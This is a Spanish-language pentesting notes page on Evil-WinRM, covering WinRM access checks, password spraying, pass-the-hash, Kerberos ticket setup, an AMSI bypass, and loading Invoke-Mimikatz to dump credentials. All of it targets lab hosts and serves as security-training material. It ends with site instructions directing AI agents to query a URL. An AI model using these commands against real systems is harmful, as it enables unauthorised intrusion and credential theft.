# Evil-WinRM

## Introduction

WinRM es la implementación de Microsoft del protocolo WS-Management, muy habitual en entornos Windows, especialmente en sus versiones Server. Fue diseñado para facilitar la administración remota del sistema. Aunque en las estaciones de trabajo (Windows 7, 8, 8.1 o 10) no viene activado por defecto, en Windows Server suele estar habilitado en el puerto 5985.

Si cuentas con acceso al sistema —ya sea con usuario y contraseña, con el hash NTLM o incluso con un ticket TGT de Kerberos— puedes conectarte a este servicio y obtener una shell en el sistema. Esto es especialmente útil en la etapa de post-explotación, una vez que ya tienes cierto control sobre el entorno.

Aquí es donde entra Evil-WinRM, una de las herramientas más interesantes para explotar y gestionar conexiones a través de WinRM, permitiéndote realizar pruebas de post-explotación de manera eficaz y práctica.

Para instalar `evil-winrm` ejecutaremos el siguiente comando:

```bash
sudo gem install evil-winrm
```

## Validating Access

Para verificar que disponemos de acceso para conectarnos a través de `WinRM` al equipo, podemos hacer uso de la herramienta `nxc` (NetExec) para validar dicho acceso. En el resultado nos debe aparecer con un `+` y con la palabra `Pwn3d!`. En caso contrario, solamente nos saldrá como `-`.

Ejemplo de acceso para conectarnos al equipo mediante `WinRM`.

```bash
❯ nxc winrm 10.10.10.10 -u 'user123' -p 'Password01!'
WINRM       10.10.10.10    5985   DC               [*] Windows 10 / Server 2019 Build 17763 (name:DC) (domain:dominio.htb)
WINRM       10.10.10.10    5985   DC               [+] dominio.htb\user123:Password01! (Pwn3d!)
```

Ejemplo de que no disponemos de acceso para conectarnos al equipo mediante `WinRM`.

```bash
❯ nxc winrm 10.10.10.10 -u 'user123' -p 'Password01!'
WINRM       10.10.10.10    5985   DC               [*] Windows 10 / Server 2019 Build 17763 (name:DC) (domain:dominio.htb)
WINRM       10.10.10.10    5985   DC               [-] dominio.htb\user123:Password01!
```

#### Autenticación usuario y contraseña

```bash
nxc winrm 10.10.10.10 -u 'user123' -p 'Password01!'
```

#### Autenticación realizando Pass-The-Hash (PtH) con el hash NTLM

```bash
nxc winrm 10.10.10.10 -u 'user123' -H 'E45A314C664D40A227F9540121D1A29D'
```

#### Password Spraying / Brute Force

```bash
ncx winrm 10.10.10.10 -u users.txt -p 'Password01!' --continue-on-success
```

```bash
nxc winrm 10.10.10.10 -u 'user1' -p passwords.txt --continue-on-success
```

```bash
nxc winrm 10.10.10.10 -u users.txt -p passwords.txt --continue-on-success
```

***

## Authentication on WinRM

A continuación, se detallan como conectarnos mediante `evil-winrm` a un equipo que disponga `WinRM` expuesto.

### Usuario y contraseña

```bash
evil-winrm -i 10.10.10.10 -u 'user' -p 'Password01!'
```

### Usuario y contraseña + SSL

```bash
evil-winrm -i 10.10.10.10 -u 'user' -p 'Password01!' -S
```

### Usuario y hash NTLM \[Pass-The-Hash (PtH)]

```bash
evil-winrm -i 10.10.10.10 -u 'user' -H 'E45A314C664D40A227F9540121D1A29D'
```

### Autenticación con key (.pem)

```bash
evil-winrm -i 10.10.10.10 -c certificate.pem -k priv-key.pem -S
```

### Kerberos

La autenticación mediante Kerberos requiere de una serie de pasos previos para que funcione correctamente.

* Sincronizar la hora de la máquina local con la del Domain Controller.
* Disponer de un TGT (Ticket Granting Ticket)
* Exportar el TGT en la variable KRB5CCNAME
* Disponer de la instalación de `krb5-user` y `krb5-config` en el equipo local
* Configurar adecuadamente el archivo `/etc/krb5.conf` con la configuración necesaria del dominio
* Configurar correctamente el archivo `/etc/hosts` para la resolución de nombres.

El comando para conectarnos mediante el TGT obtenido es el siguiente:

```bash
evil-winrm -i dc.dominio.htb -r dominio.htb
```

Para configurar paso a paso esta autenticación al `WinRM` mediante Kerberos, realizaremos los siguientes pasos:

{% tabs %}
{% tab title="Sincronizar hora" %}
Deberemos de sincronizar la hora de nuestro equipo con la del DC (Domain Controller).

Instalaremos el paquete de `ntpdate` para ayudarnos a sincronizar la hora de nuestro reloj.

```bash
sudo apt install ntpdate -y
```

Una vez instalado, sincronizaremos nuestra hora con la del DC.

```bash
sudo ntpdate -s 10.10.10.10
```

{% endtab %}

{% tab title="Disponer TGT" %}
Deberemos de disponer de un TGT (Ticket Granting Ticket) del usuario con el que queramos conectarnos. Disponemos de varias maneras de haber obtenido ya un TGT, pero en este caso explicaremos solamente a solicitarlo para el usuario que disponemos sus credenciales.

A través de la herramienta de `impacket-getTGT` obtendremos un TGT válido para nuestro usuario.&#x20;

{% code title="Usuario/contraseña" %}

```bash
impacket-getTGT 'dominio.htb'/'user':'password' -dc-ip 10.10.10.10
```

{% endcode %}

{% code title="Pass-The-Hash (PtH)" %}

```bash
impacket-getTGT 'dominio.htb'/'user' -hashes ':E45A314C664D40A227F9540121D1A29D' -dc-ip 10.10.10.10
```

{% endcode %}

Una vez solicitado el TGT, nos deberá proporcionar un archivo `.ccache`.
{% endtab %}

{% tab title="KRB5CCNAME" %}
Una vez obtenido el TGT (`.ccache`), deberemos de exportar este tiquet en la variable `KRB5CCNAME` para poder utilizarlo correctamente.

```bash
export KRB5CCNAME=$(pwd)/user.ccache
```

{% endtab %}

{% tab title="Paquetes" %}
Instalaremos el paquete de `krb5-user` a través del siguiente comando:

```bash
sudo apt install krb5-user
```

Una vez instalado, validaremos que el tiquet TGT obtenido y declarado en `KRB5CCNAME` funcione correctamente. Nos deberá aparecer nuestro TGT.

```bash
klist
```

{% endtab %}

{% tab title="/etc/krb5.conf" %}
Instalaremos el paquete necesario para el `/etc/krb5.conf` a través del siguiente comando:

```bash
sudo apt install krb5-config -y
```

Una vez instalado el paquete, deberemos de configurar el archivo `/etc/krb5.conf` para que se adapte al dominio correspondiente.&#x20;

```bash
sudo nano /etc/krb5.conf
```

A continuación, dejaremos un archivo `/etc/krb5.conf` de ejemplo.

{% code title="/etc/krb5.conf" overflow="wrap" %}

```bash
[libdefaults]
    default_realm = DOMINIO.HTB
    ticket_lifetime = 24h
    renew_lifetime = 7d
    forwardable = true
    rdns = false

[realms]
    HAZE.HTB = {
        kdc = dc.dominio.htb
        admin_server = dc.dominio.htb
        default_domain = dominio.htb
    }

[domain_realm]
    .dominio.htb = DOMINIO.HTB
    dominio.htb = DOMINIO.HTB
```

{% endcode %}
{% endtab %}

{% tab title="/etc/hosts" %}
Deberemos de disponer en nuestro archivo `/etc/hosts` las entradas correspondientes para que nos resuelva correctamente el hostname, FQDN y nombre del dominio.

Ejemplo:

* **Dirección IP**: 10.10.14.13
* **Hostname**: dc01
* **Dominio**: gzzcoo.htb
* **FQDN**: dc01.gzzcoo.htb

Nuestro archivo `/etc/hosts` deberá tener la siguiente entrada correspondiente.

```bash
echo '10.10.14.13 dc01 dc01.gzzcoo.htb gzzcoo.htb' | sudo tee -a /etc/hosts
```

{% endtab %}
{% endtabs %}

***

## Help Menu

<figure><img src="/files/cIZpxFiRKbRFonbgZPcv" alt=""><figcaption></figcaption></figure>

***

## Menu Functions

### Bypass AMSI

La herramienta de `evil-winrm` dispone de un módulo para realizar un **Bypass de la AMSI** para lograr ejecutar nuestro código malicioso.

```powershell
Bypass-4MSI
```

<figure><img src="/files/hsq9D9XFGg7VJYCo45tT" alt=""><figcaption></figcaption></figure>

***

### Service Enumeration

A veces, las herramientas de enumeración en post-explotación no logran identificar el nombre del servicio activo en el sistema objetivo. En esos casos, `evil-winrm` resulta muy útil, ya que permite ver una lista completa de los servicios en ejecución desde su menú, específicamente a través de la opción de `services`. Esto es especialmente valioso para detectar servicios sin comillas, que otras herramientas podrían pasar por alto.

```powershell
services
```

<figure><img src="/files/bi9rnDSRplGzXWvoWSHf" alt=""><figcaption></figcaption></figure>

***

### Upload Transfer

Evil-WinRM cuenta con un módulo que te permite subir archivos desde el directorio actual de tu sesión directamente al sistema comprometido.

Esto facilita la transferencia de herramientas, scripts u otros recursos necesarios para continuar con tus actividades de post-explotación de manera sencilla y directa.

```bash
upload <archivo>
```

<figure><img src="/files/9ls8AihXJsx0SzNihWcX" alt=""><figcaption></figcaption></figure>

***

### Download Transfer

Evil-WinRM también te permite extraer archivos del sistema comprometido hacia tu máquina local. Simplemente, estando en el directorio deseado, utiliza el comando:

Esto resulta muy práctico para recolectar información o respaldar archivos importantes durante la fase de post-explotación.

```powershell
download </ruta/archivo>
```

<figure><img src="/files/dyUllbtteItTIj86OWBY" alt=""><figcaption></figcaption></figure>

## Loading PowerShell Script

`Evil-winrm` ofrece una funcionalidad que permite cargar scripts directamente desde nuestra máquina local. Usando la opción `-s` seguida de la ruta del script, podemos inyectarlo en memoria en el sistema objetivo. Además, cuenta con una capacidad para omitir AMSI, lo que resulta fundamental antes de importar cualquier script.

En el ejemplo que se muestra, primero se desactiva AMSI y luego se carga el script **Invoke-Mimikatz.ps1** en la memoria del sistema comprometido, lo que nos permite ejecutar comandos de mimikatz. Con este método, por ejemplo, podemos volcar las credenciales en caché y, posteriormente, utilizar el hash NTLM obtenido para realizar un ataque de `Pass-The-Hash (PtH)`.

<figure><img src="/files/Ktq4zjCUirDBiNaMPy65" alt=""><figcaption></figcaption></figure>

```powershell
evil-winrm -i 10.99.99.10 -u 'Administrador' -H '027ae3139c0b6e47d3825660c1ede923' -s /opt/nishang/Gather/

Bypass-4MSI

Invoke-Mimikatz.ps1

Invoke-Mimikatz
```

<figure><img src="/files/cGuSX7BObYZ6OiavAHef" alt=""><figcaption></figcaption></figure>

## Store logs with Evil-winrm

Esta función te permite guardar registros de tus sesiones remotas en tu máquina local durante la fase de enumeración. En escenarios como CTF o pruebas internas de penetración, es esencial contar con un historial para la elaboración de informes. Evil-winrm incorpora la opción **-l**, que al incluirla en la sesión, almacena automáticamente todos los logs en el directorio `/root/evil-winrm-logs` de tu máquina base, etiquetados con la fecha y la IP del objetivo. Por ejemplo, si ejecutas el comando `ipconfig` durante una sesión, la salida se registrará localmente, facilitándote la referencia posterior.

```bash
evil-winrm -i 10.99.99.10 -u 'Administrador' -H '027ae3139c0b6e47d3825660c1ede923' -l
```

<figure><img src="/files/AKP3OcAd0ZBLxJe5Zfgh" alt=""><figcaption></figcaption></figure>

Podemos corroborarlo revisando los registros almacenados; notarás que se capturó una imagen de la terminal en el instante en el que ejecutamos el comando ipconfig.

<figure><img src="/files/C2CM4Ekm6iQjuGmOhj46" alt=""><figcaption></figcaption></figure>

***

## References

{% embed url="<https://www.hackingarticles.in/a-detailed-guide-on-evil-winrm/>" %}

{% embed url="<https://thehackerway.es/2021/11/04/evil-winrm-shell-sobre-winrm-para-pentesting-en-sistemas-windows-parte-1-de-2/>" %}

{% embed url="<https://thehackerway.es/2021/12/15/evil-winrm-shell-sobre-winrm-para-pentesting-en-sistemas-windows-parte-2-de-2/>" %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://gzzcoo.gitbook.io/pentest-notes/tools/evil-winrm.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
